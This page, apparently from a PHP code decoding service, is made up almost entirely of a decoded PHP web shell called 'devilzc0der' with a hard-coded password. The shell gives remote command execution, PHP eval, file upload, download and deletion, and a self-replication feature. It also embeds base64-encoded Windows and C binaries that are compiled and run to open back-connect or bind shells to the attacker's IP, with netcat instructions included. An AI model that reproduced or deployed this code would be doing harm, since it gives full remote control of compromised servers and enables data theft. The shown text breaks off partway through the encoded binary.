Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto bhKOZ; wLURt: if (isset($_GET["\143\x6d\x64"]) || isset($_POST["\160\x61\163\1..
Decoded Output download
<?php
goto bhKOZ; wLURt: if (isset($_GET["cmd"]) || isset($_POST["passw"])) { $html_onload = "onload="document.getElementById('cmd').focus();""; } else { $html_onload = ''; } goto Qc6fD; ixZ3c: if (isset($_GET["get"]) && $_GET["get"] != '') { $file = xclean($_GET["get"]); $filez = @file_get_contents($file); header("Content-type: application/octet-stream"); header("Content-length: " . strlen($filez)); header("Content-disposition: attachment; filename="" . basename($file) . "";"); echo $filez; die; } goto wDRnb; pb0Qp: error_reporting(0); goto iX2Pi; i8NO5: function xhighlight($file) { $color_bg = ini_get("highlight.bg"); $color_html = ini_get("highlight.html"); $color_keyword = ini_get("highlight.keyword"); $color_default = ini_get("highlight.default"); $color_comment = ini_get("highlight.comment"); $color_string = ini_get("highlight.string"); $con = @highlight_file($file, true); $con = str_ireplace($color_keyword, "#FF0082", $con); $con = str_ireplace($color_default, "#F00000", $con); $con = str_ireplace($color_string, "#888888", $con); $con = str_ireplace($color_html, "#EEEEEE", $con); return $con; } goto Ynili; THPXC: if (isset($_GET["dir"]) && $_GET["dir"] != '') { $newdir = xcleanpath(xclean(trim($_GET["dir"]))); if (isset($_GET["oldfilename"]) && $_GET["oldfilename"] != '') { $newdir = xcleanpath(xclean(trim($_GET["properties"]))); } if (is_dir($newdir)) { if (chdir($newdir)) { $xCwd = $newdir; } } else { $newdir = dirname($newdir); if (is_dir($newdir)) { if (chdir($newdir)) { $xCwd = $newdir; } } } if (isset($_POST["btnNewUploadUrl"])) { $filename = xclean(trim($_POST["filename"])); $fileurl = xclean(trim($_POST["fileurl"])); if ($filename == '') { $filename = basename($fileurl); } $filepath = $newdir . $filename; if ($fileurl != '') { $con = xfileopen($fileurl); xfilesave($filepath, $con); } } elseif (isset($_POST["btnNewUploadLocal"])) { if (is_uploaded_file($_FILES["filelocal"]["tmp_name"])) { $filename = xclean(trim($_POST["filename"])); if ($filename == '') { $filename = $_FILES["filelocal"]["name"]; } $tmp_name = $_FILES["filelocal"]["tmp_name"]; $filepath = $newdir . $filename; $stat = @move_uploaded_file($tmp_name, $filepath); } } if (isset($_GET["foldername"]) && $_GET["foldername"] != '') { $fname = xcleanpath(xclean(trim($_GET["foldername"]))); if (!is_dir($newdir . $fname)) { mkdir($newdir . $fname); } } elseif (isset($_GET["del"]) && $_GET["del"] != '') { $fdel = xclean(trim($_GET["del"])); if (is_file($fdel) || is_link($fdel)) { unlink($fdel); } elseif (is_dir($fdel)) { xrmdir($fdel); $newdir = substr($newdir, 0, strrpos($newdir, DIRECTORY_SEPARATOR)); $newdir = substr($newdir, 0, strrpos($newdir, DIRECTORY_SEPARATOR)); } } elseif (isset($_GET["childname"]) && $_GET["childname"] != '') { $childname = $newdir . xclean(trim($_GET["childname"])); $con = xfileopen($_SERVER["SCRIPT_FILENAME"]); xfilesave($childname, $con); } } goto i3GXU; B0JGo: function xfileperms($file) { $isreadable = "-"; $iswriteable = "-"; if (is_file($file) || is_dir($file) || is_link($file)) { if (is_readable($file)) { $isreadable = "r"; } if (is_writeable($file)) { $iswriteable = "w"; } } return $isreadable . " / " . $iswriteable; } goto U0a5N; bdGRw: $shell_style = "\xa<style type="text/css">
*{\xa font-family:Tahoma,Verdana,Arial;\xa font-size:12px;
line-height:20px;
}
\xaform{\xa margin:0 auto;
\x9text-align:center;\xa}\xa
body{\xa background:url('" . $_SERVER["SCRIPT_NAME"] . "?img=bg') #333333;\xa color:#ffffff;
margin:0;
\x9padding:0;\xa}\xa
input,textarea{\xa\x9background:url('" . $_SERVER["SCRIPT_NAME"] . "?img=bg') #111111;
\x9height:24px;
\x9color:#ffffff;\xa padding:1.5px 4px 0 4px;\xa margin:2px 0;
\x9border:1px solid " . $shell_color . ";\xa border-bottom:4px solid " . $shell_color . ";\xa vertical-align:middle;\xa}
input:hover,textarea:hover{
background:#0a0a0a;\xa}\xa\xaa{\xa color:#ffffff;
text-decoration:none;
}
\xaa:hover{\xa border-bottom:1px solid #ffffff;\xa}\xa
h1{
\x9font-size:17px;
\x9height:20px;
padding:2px 8px;\xa\x9background:" . $shell_color . ";
\x9border:0;\xa\x9border-left:4px solid " . $shell_color . ";
border-right:4px solid " . $shell_color . ";\xa\x9border-bottom:1px solid #222222;\xa margin:0 auto;\xa\x9width:90%;
}
\xah1 img{
vertical-align:bottom;
}\xa\xa.box{
margin:0 auto;
background:#000000;
\x9border:4px solid " . $shell_color . ";\xa padding:4px 8px;
\x9width:90%;
\x9text-align:justify;\xa}\xa
.gaul{\xa\x9color:" . $shell_color . ";
}
\xa\xa.result, .boxcode{\xa margin:0 auto;\xa border:1px solid " . $shell_color . ";\xa\x9font-family:Lucida Console,Tahoma,Verdana;
padding:8px;\xa text-align:justify;
\x9overflow:hidden;
\x9color:#ffffff;\xa}\xa\xa
#explorer, table{
width:100%;\xa}\xa
table th{\xa border-bottom:1px solid " . $shell_color . ";\xa background:#111111;
\x9padding:4px;
}
\xatable td{
padding:4px;
border-bottom:1px solid #111111;\xa vertical-align:top;\xa}
\xa.tblExplorer tr:hover, .hexview td:hover{
\x9background:" . $shell_color . ";\xa}\xa\xa
.hidden{\xa\x9display:none;
}
.tblbox td {
margin:0;\xa\x9padding:0;
border-bottom:1px solid #222222;\xa}\xa
.tblbox tr:hover{
\x9background:none;
}\xa\xa#mainwrapper{\xa\x9width:100%;\xa\x9margin:20px auto;
\x9text-align:center;\xa}
#wrapper{
\x9width:90%;
\x9margin:auto;\xa
}\xa\xa.cmdbox{
border-top:1px solid " . $shell_color . ";
\x9border-bottom:1px solid " . $shell_color . ";
margin:4px 0;
\x9width:100%;
}\xa\xa.fpath{
\x9border-top:1px solid " . $shell_color . ";\xa\x9border-bottom:1px solid " . $shell_color . ";\xa\x9margin:4px 0;\xa padding:4px 0;
}\xa\xa.fprop{\xa border-top:1px solid " . $shell_color . ";
\x9border-bottom:1px solid " . $shell_color . ";\xa margin:4px 0;
padding:4px 0;\xa}
\xa\xa.bottomwrapper{
\x9text-align:center;\xa}\xa\xa.btn{
\x9height:24px;
\x9background:url('" . $_SERVER["SCRIPT_NAME"] . "?img=bg') #111111;
font-size:10px;\xa text-align:right;\xa}
.hexview , .hexview td{\xa\x9font-family: Lucida Console,Tahoma;
}\xa</style>\xa"; goto mlpU0; JQYjm: function xfileopen($file) { $content = ''; if (is_file($file) || is_link($file)) { if ($fp = fopen($file, "rb")) { while (!feof($fp)) { $content .= fread($fp, 1024); } fclose($fp); } } return $content; } goto HaSJA; VzaOw: function xparsefilesize($size) { if ($size <= 1024) { return $size; } else { if ($size <= 1024 * 1024) { $size = sprintf("%.02f", @round($size / 1024, 2)); return $size . " kb"; } else { $size = sprintf("%.02f", @round($size / 1024 / 1024, 2)); return $size . " mb"; } } } goto ZcyIl; ZcyIl: function xfilesize($file) { if (is_file($file) || is_link($file)) { if ($size = filesize($file)) { return $size; } } return "0"; } goto B0JGo; o6fA7: if ($check == $shell_password) { $auth = true; } else { $auth = false; } goto uffjI; yEXml: if (isset($_GET["btnConnect"]) && is_numeric($_GET["bportC"])) { $port = $_GET["bportC"]; $dir = xcleanpath(xclean(trim($_GET["dir"]))); $system = trim(php_uname()); if (strtolower(substr($system, 0, 3)) == "win") { $base64 = $wBind; } else { $base64 = $xBack; } if (xrunexploit($dir, $base64, $port, "connect")) { } } elseif (isset($_GET["btnListen"]) && is_numeric($_GET["lportC"])) { $port = $_GET["lportC"]; $dir = xcleanpath(xclean(trim($_GET["dir"]))); $system = trim(php_uname()); if (strtolower(substr($system, 0, 3)) == "win") { $base64 = $wBind; } else { $base64 = $xBind; } if (xrunexploit($dir, $base64, $port, "listen")) { } } goto THPXC; uWo80: $xSoftware = trim(getenv("SERVER_SOFTWARE")); goto KlIEK; sRNXR: if (isset($_POST["passw"])) { $check = trim($_POST["passw"]); if ($check == $shell_password) { setcookie("pass", $check, time() + 3600 * 24 * 7); $m = $_SERVER["SCRIPT_NAME"]; header("Location: " . $m); die; } else { setcookie("pass", $check, time() - 3600 * 24 * 7); } } goto HGHI7; rzxvz: echo preg_replace("/\s+/", " ", $html_final); goto twz3u; o3Hsf: $icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw
4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4\xaE4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx\xadCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei
oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH
0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU\xavxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2
xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp\xagaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO
D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC"; goto FqYTK; esWEq: ini_set("allow_url_fopen", 1); goto u1awg; Yh0NS: function xrunexploit($fpath, $base64, $port, $type) { $con = base64_decode($base64); $system = trim(php_uname()); $final = ''; if (preg_match("/win/i", $system)) { $fname = "bd.exe"; $ip = ''; $ok = false; $fpath = $fpath . $fname; if (is_file($fpath)) { unlink($fpath); } if (!xfilesave($fpath, $con)) { $tmp = xcleanpath(xtempfolder()); $fpath = $tmp . $fname; if (xfilesave($fpath, $con)) { $ok = true; } } else { $ok = true; } if ($ok) { $fpath = trim($fpath); if ($type == "connect") { $ip = $_SERVER["REMOTE_ADDR"]; } $final .= $fpath . " " . $port . " " . $ip; ekse(trim($final)); return true; } } else { if ($type == "connect") { $fname = "back"; } else { $fname = "bind"; } $ip = ''; $ok = false; $fpath = $fpath . $fname; if (is_file($fpath . ".c")) { unlink($fpath . ".c"); } if (!xfilesave($fpath . ".c", $con)) { $tmp = xcleanpath(xtempfolder()); $fpath = $tmp . $fname; if (xfilesave($fpath . ".c", $con)) { $ok = true; } } else { $ok = true; } if ($ok) { $fpath = trim($fpath); if ($type == "connect") { $ip = $_SERVER["REMOTE_ADDR"]; } ekse("gcc " . $fpath . ".c -o " . $fpath); ekse("chmod +x " . $fpath); if (is_file($fpath)) { $final .= $fpath . " " . $port . " " . $ip; ekse(trim($final)); return true; } else { return false; } } } return false; } goto fxXUi; E3cYn: $shell_color = "#374374"; goto uWo80; Zne4x: if ($auth) { if (isset($_GET["bportC"])) { $bportC = $_GET["bportC"]; } else { $bportC = $shell_fav_port; } if (isset($_GET["lportC"])) { $lportC = $_GET["lportC"]; } else { $lportC = $shell_fav_port; } $html_title = $shell_title . " " . $xCwd; $html_head = "\xa<title>" . $html_title . "</title>
<link rel="SHORTCUT ICON" href="" . $_SERVER["SCRIPT_NAME"] . "?img=icon" />
" . $shell_style . "\xa<script type="text/javascript">
function updateInfo(boxid,typ){
\x9if(typ == 0){
\x9 var pola = 'example: (using netcat) run "nc -l -p __PORT__" and then press Connect';
\x9}\xa\x9else{
\x9 var pola = 'example: (using netcat) press "Listen" and then run "nc " . $xServerIP . " __PORT__"';
\x9}
\x9var portnum = document.getElementById(boxid).value;\xa
\x9var hasil = pola.replace('__PORT__', portnum);
\x9document.getElementById(boxid+'_').innerHTML = hasil;\xa}
function show(boxid){
\x9var box = document.getElementById(boxid);
\x9if(box.style.display != 'inline'){
\x9\x9document.getElementById('newfile').style.display = 'none';
\x9document.getElementById('newfolder').style.display = 'none';
\x9\x9document.getElementById('newupload').style.display = 'none';\xa document.getElementById('newchild').style.display = 'none';
\x9\x9document.getElementById('newconnect').style.display = 'none';
document.getElementById('div_eval').style.display = 'none';
\x9 box.style.display = 'inline';
box.focus();
}\xa else box.style.display = 'none';\xa}
function highlighthexdump(address){\xa var target = document.getElementById(address);
target.style.background = '" . $shell_color . "';
}
function unhighlighthexdump(address){\xa var target = document.getElementById(address);\xa target.style.background = 'none';
}\xa</script>\xa"; $html_body = "
<div id="wrapper">
<h1 onmouseover="this.style.cursor='pointer';this.style.cursor='hand';" onclick="window.location= '?';"><a href="?">" . $shell_title . "</a></h1>
<div class="box">" . $xHeader . "\xa<div class="fpath">
" . xdrive() . xparsedir($xCwd) . "\xa</div>\xa<div class="menu">
<a href="javascript:show('newfile');"><span class="gaul">[ </span> New File<span class="gaul"> ]</span></a>\xa<a href="javascript:show('newfolder');"><span class="gaul">[ </span>New Folder<span class="gaul"> ]</span></a>\xa<a href="javascript:show('newchild');"><span class="gaul">[ </span>Replicate<span class="gaul"> ]</span></a>
<a href="javascript:show('newupload');"><span class="gaul">[ </span>Upload<span class="gaul"> ]</span></a>
<a href="javascript:show('newconnect');"><span class="gaul">[ </span>BindShell<span class="gaul"> ]</span></a>
<a href="javascript:show('div_eval');"><span class="gaul">[ </span>PHP Eval<span class="gaul"> ]</span></a>
</div>\xa<div class="hidden" id="newconnect">\xa<form method="get" action="?" style="display:inline;margin:0;padding:0;">\xa<table class="tblBox" style="width:100%;">\xa<input type="hidden" name="dir" value="" . $xCwd . "" />
<tr><td style="width:130px;">BackConnect</td><td style="width:200px;">
Port <input maxlength="5" id="backC" onkeyup="updateInfo('backC',0);" style="width:60px;" type="text" name="bportC" value="" . $bportC . "" />
<input style="width:100px;" type="submit" class="btn" name="btnConnect" value="Connect" />
</td>\xa<td><span id="backC_" class="msgcon">example: (using netcat) run "nc -l -p " . $bportC . "" and then press Connect</span></td>\xa</tr>\xa<tr><td>Listen</td><td>\xaPort <input maxlength="5" id="listenC" onkeyup="updateInfo('listenC',1);" style="width:60px;" type="text" name="lportC" value="" . $lportC . "" />\xa<input style="width:100px;" type="submit" class="btn" name="btnListen" value="Listen" />
</td>\xa<td><span id="listenC_" class="msgcon">example: (using netcat) press "Listen" and then run "nc " . $xServerIP . " " . $lportC . ""</span></td>\xa</tr>
</table>
</form>\xa</div>
<div class="hidden" id="newfolder">\xa<form method="get" action="?" style="display:inline;margin:0;padding:0;">
<input type="hidden" name="dir" value="" . $xCwd . "" />
<table class="tblBox" style="width:560px;">\xa<tr><td style="width:120px;">New Foldername</td><td style="width:304px;">
<input style="width:300px;" type="text" name="foldername" value="newfolder" />\xa</td><td>
<input style="width:100px;" type="submit" class="btn" name="btnNewfolder" value="Create" />\xa</td></tr>
</table>
</form>
</div>\xa<div class="hidden" id="newfile">\xa<form action="?" method="get" style="display:inline;margin:0;padding:0;">
<input type="hidden" name="dir" value="" . $xCwd . "" />\xa<table class="tblBox" style="width:560px;">
<tr><td style="width:120px;">New Filename</td><td style="width:304px;">
<input style="width:300px;" type="text" name="filename" value="newfile" />\xa</td><td>
<input style="width:100px;" type="submit" class="btn" name="btnNewfile" value="Create" />
</td></tr>\xa</form>\xa</table>
</div>\xa<div class="hidden" id="newupload">
<form method="post" action="?dir=" . $xCwd . "" enctype="multipart/form-data" style="display:inline;margin:0;padding:0;">\xa<table class="tblBox" style="width:560px;">
<tr><td style="width:120px;">Save as</td><td><input style="width:300px;" type="text" name="filename" value="" /></td></tr>
<tr><td style="width:120px;">From Url</td><td style="width:304px;">
<input style="width:300px;" type="text" name="fileurl" value="" />
</td><td><input style="width:100px;" type="submit" class="btn" name="btnNewUploadUrl" value="Get" /></td></tr>\xa<tr><td style="width:120px;">From Computer</td><td style="width:304px;">\xa<input style="width:300px;" type="file" name="filelocal" />\xa</td><td>
<input style="width:100px;" type="submit" class="btn" name="btnNewUploadLocal" value="Get" />\xa</td></tr>
</table>
</form>
</div>\xa<div class="hidden" id="newchild">\xa<form method="get" action="?" style="display:inline;margin:0;padding:0;">\xa<input type="hidden" name="dir" value="" . $xCwd . "" />
<table class="tblBox" style="width:560px;">
<tr><td style="width:120px;">New Shellname</td><td style="width:304px;">
<input style="width:300px;" type="text" name="childname" value="" . $shell_name . ".php"; />
</td><td><input style="width:100px;" type="submit" class="btn" name="btnNewchild" value="Create" />\xa</td></tr>\xa</table>
</form>\xa</div>\xa<div class="hidden" id="div_eval">
<form method="get" action="?" style="display:inline;margin:0;padding:0;">
<input type="hidden" name="dir" value="" . $xCwd . "" />\xa<table class="tblBox" style="width:560px;">
<tr><td>\xa<textarea name="eval" style="width:100%;height:100px;"></textarea>
</td></tr><tr>
<td style="text-align:right;"><input style="width:100px;" type="submit" class="btn" name="btnEval" value="Eval" /></td></tr>\xa</table>\xa</form>
</div>
<div class="bottomwrapper">
<div class="cmdbox">\xa<form action="?" method="get">\xa<input type="hidden" name="dir" value="" . $xCwd . "" />\xa<table style="width:100%;"><tr>\xa<td style="width:88%;"><input type="text" id="cmd" name="cmd" value="" style="width:100%;" /></td>\xa<td style="width:10%;"><input type="submit" class="btn" name="btnCommand" style="width:120px;" value="Execute" /></td></tr></table>
</form>\xa</div>
<div class="result" id="result">
" . $result . "\xa</div></div></div></div>
"; } else { $html_title = $shell_fake_name; $html_head = "<title>" . $html_title . "</title>" . $shell_style; $html_body = "<div style="margin:30px;">
<div>
<form action="?" method="post">
<input id="cmd" type="text" name="passw" value="" />
<input type="submit" name="btnpasswd" value="Ok" />\xa</form>\xa</div>
<div style="font-size:10px;">" . $shell_fake_name . "</div>\xa</div>\xa"; } goto wLURt; UQGVJ: $shell_title = " :: " . $shell_name . " ::"; goto I8RPX; tz9uN: function xdrive() { $letters = ''; foreach (range("A", "Z") as $letter) { $bool = @is_dir($letter . ":\"); if ($bool) { $letters .= "<a href="?dir=" . $letter . ":\"><span class="gaul">[ </span>"; $letters .= $letter; $letters .= "<span class="gaul"> ]</span</a> "; } } if ($letters != '') { $letters .= "<br />"; } return $letters; } goto K6YeM; n0Kd5: $xHeader = $xSoftware . "<br />" . $xSystem . "<br />Server IP: <span class="gaul">[ </span>" . $xServerIP . "<span class="gaul"> ]</span> Your IP: <span class="gaul">[ </span>" . $xClientIP . "<span class="gaul"> ]</span>"; goto o3Hsf; YnICT: $shell_password = "devilzc0der"; goto mr5Cn; RoEKb: function xtempfolder() { if (!empty($_ENV["TMP"])) { return realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"])) { return realpath($_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"])) { return realpath($_ENV["TEMP"]); } $tempfile = tempnam(__FILE__, ''); if (file_exists($tempfile)) { unlink($tempfile); return realpath(dirname($tempfile)); } return null; } goto dSWuc; Qc6fD: $html_final = "<html>\xa<head>
" . $html_head . "\xa</head>\xa<body " . $html_onload . ">
<div id="mainwrapper">\xa" . $html_body . "
</div>
</body>
</html>"; goto rzxvz; Ynili: function xfilesummary($file) { $buff = ''; if (is_file($file) || is_link($file)) { $buff = "Filesize : " . xparsefilesize(xfilesize($file)) . " ( " . xfilesize($file) . " ) <span class="gaul"> :: </span>Permission : " . xfileperms($file) . " ( " . xfileowner($file) . " )<span class="gaul"> :: </span>modified : " . xfilelastmodified($file); } return $buff; } goto VzaOw; KlIEK: $xSystem = trim(php_uname()); goto tJNgh; dSWuc: function xrmdir($dir) { $files = glob($dir . "*", GLOB_MARK); foreach ($files as $f) { if (is_dir($f)) { xrmdir($f); } else { unlink($f); } } if (is_dir($dir)) { rmdir($dir); } } goto i8NO5; mlpU0: function xclean($text) { if (get_magic_quotes_gpc()) { $text = stripslashes($text); } return $text; } goto BNqz_; Ocjbv: function xparsedir($dir) { $xSlash = DIRECTORY_SEPARATOR; $dirs = explode($xSlash, $dir); $buff = ''; $dlink = ''; $system = trim(php_uname()); if (strtolower(substr($system, 0, 3)) != "win") { $dlink .= urlencode($xSlash); $buff .= "<a href="?dir=" . $dlink . "">" . $xSlash . "</a> "; } foreach ($dirs as $d) { $d = trim($d); if ($d != '') { $dlink .= urlencode($d . $xSlash); $buff .= "<a href="?dir=" . $dlink . "">" . $d . " " . $xSlash . "</a> "; } } return "<span class="gaul">[ </span>" . $buff . "<span class="gaul"> ]</span>"; } goto JQYjm; mr5Cn: $shell_fav_port = "12345"; goto E3cYn; HaSJA: function xfilesave($file, $content) { $dir = substr($file, 0, strrpos($file, DIRECTORY_SEPARATOR)); if (!is_dir($dir)) { mkdir($dir); } if ($file != '') { $handle = fopen($file, "wb"); if (fwrite($handle, $content) || $content == '') { fclose($handle); return true; } fclose($handle); } return false; } goto RoEKb; fxXUi: function xeval($code) { $code = xclean($code); @ob_start(); @eval($code); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } goto dANsM; cxcLS: $wBind = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v\xaZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0\xaand5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA\xaADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA\xaEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA\xaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA
AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA\xaAAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\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
